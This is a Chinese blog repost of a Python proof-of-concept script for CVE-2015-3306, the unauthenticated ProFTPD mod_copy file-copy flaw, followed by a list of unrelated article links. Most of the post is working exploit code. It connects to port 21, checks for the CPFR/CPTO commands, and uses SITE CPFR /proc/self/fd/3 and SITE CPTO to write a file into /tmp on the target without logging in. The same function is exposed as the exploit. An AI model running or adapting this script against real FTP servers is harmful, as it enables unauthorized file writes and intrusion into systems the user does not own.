博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
ProFTPD <=1.3.5 mod_copy 未授权文件复制漏洞
阅读量:5884 次
发布时间:2019-06-19

本文共 1862 字,大约阅读时间需要 6 分钟。

poc如下:

#!/usr/bin/env python

# coding=utf-8
"""
Site: http://www.beebeeto.com/
Framework: https://github.com/n0tr00t/Beebeeto-framework
"""
import random
import telnetlib
from baseframe import BaseFrame
from utils.http import http
class MyPoc(BaseFrame):
    poc_info = {
        # poc相关信息
        'poc': {
            'id': 'poc-2015-0088',
            'name': 'ProFTPD <=1.3.5 mod_copy 未授权文件复制漏洞(CVE-2015-3306) POC',
            'author': 'evi1m0',
            'create_date': '2015-04-20',
        },
        # 协议相关信息
        'protocol': {
            'name': 'ftp',
            'port': [21],
            'layer4_protocol': ['tcp'],
        },
        # 漏洞相关信息
        'vul': {
            'app_name': 'ProFTPD',
            'vul_version': ['<=1.3.5'],
            'type': 'Other',
            'tag': ['ProFTPD漏洞', 'mod_copy漏洞', 'CVE-2015-3306'],
            'desc': '''
                    This candidate has been reserved by an organization or individual that will use it when announcing
                    a new security problem. When the candidate has been publicized, the details for this candidate will be
                    provided.
                    ''',
            'references': ['http://bugs.proftpd.org/show_bug.cgi?id=4169',
            ],
        },
    }
    @classmethod
    def verify(cls, args):
        ip = http.transform_target_ip(http.normalize_url(args['options']['target']))
        if args['options']['verbose']:
            print '[*] {} Connecting...'.format(ip)
        tn = telnetlib.Telnet(ip, port=21, timeout=15)
        tn.write('site help\r\n')
        tn.write('quit\n')
        status = tn.read_all()
        if 'CPTO' in status and 'CPFR' in status:
            if args['options']['verbose']:
                print '[*] Find CPTO & CPFR'
            tn = telnetlib.Telnet(ip, port=21, timeout=15)
            filename_tmp = '/tmp/evi1m0_%s.sh'%random.randint(1, 1000)
            tn.write('site cpto evi1m0@beebeeto\n')
            tn.write('site cpfr /proc/self/fd/3\n')
            tn.write('site cpto %s\n'%filename_tmp)
            tn.write('quit\n')
            result = tn.read_all()
            if 'Copy successful' in result:
                args['success'] = True
                args['poc_ret']['vul_target'] = ip
                args['poc_ret']['filename'] = filename_tmp
        return args
    exploit = verify
if __name__ == '__main__':
    from pprint import pprint
    mp = MyPoc()
    pprint(mp.run())

转载地址:http://hgoix.baihongyu.com/

你可能感兴趣的文章
OpenSSL使用2(SSL,X.509,PEM,DER,CRT,CER,KEY,CSR,P12概念说明)(转)
查看>>
【前端】:HTML
查看>>
SSM框架——使用MyBatis Generator自动创建代码
查看>>
java数据库操作:JDBC的操作
查看>>
[转]Oracle Stored Procedures Hello World Examples
查看>>
35佳以字体为核心的优秀网页设计作品
查看>>
基于OpenCV的形态学开源库 V0.2
查看>>
在ubuntu下安装和配置vsftpd
查看>>
c#中结构体和类的比较
查看>>
Linux磁盘配额
查看>>
JQuery UI的拖拽功能
查看>>
数据驱动销售——个性化推荐引擎
查看>>
C语言标准库函数qsort那点小事
查看>>
HL7 CDA高级培训
查看>>
Android 调用照相机拍照
查看>>
linux的C获取shell执行返回的结果
查看>>
Shell读取文件内容
查看>>
面对我们喜欢的和我们需要的,应该何去何从?
查看>>
list集合绑定在datagridview上时如何实现排序
查看>>
Codeforces Round #346 (Div. 2) G. Fence Divercity dp
查看>>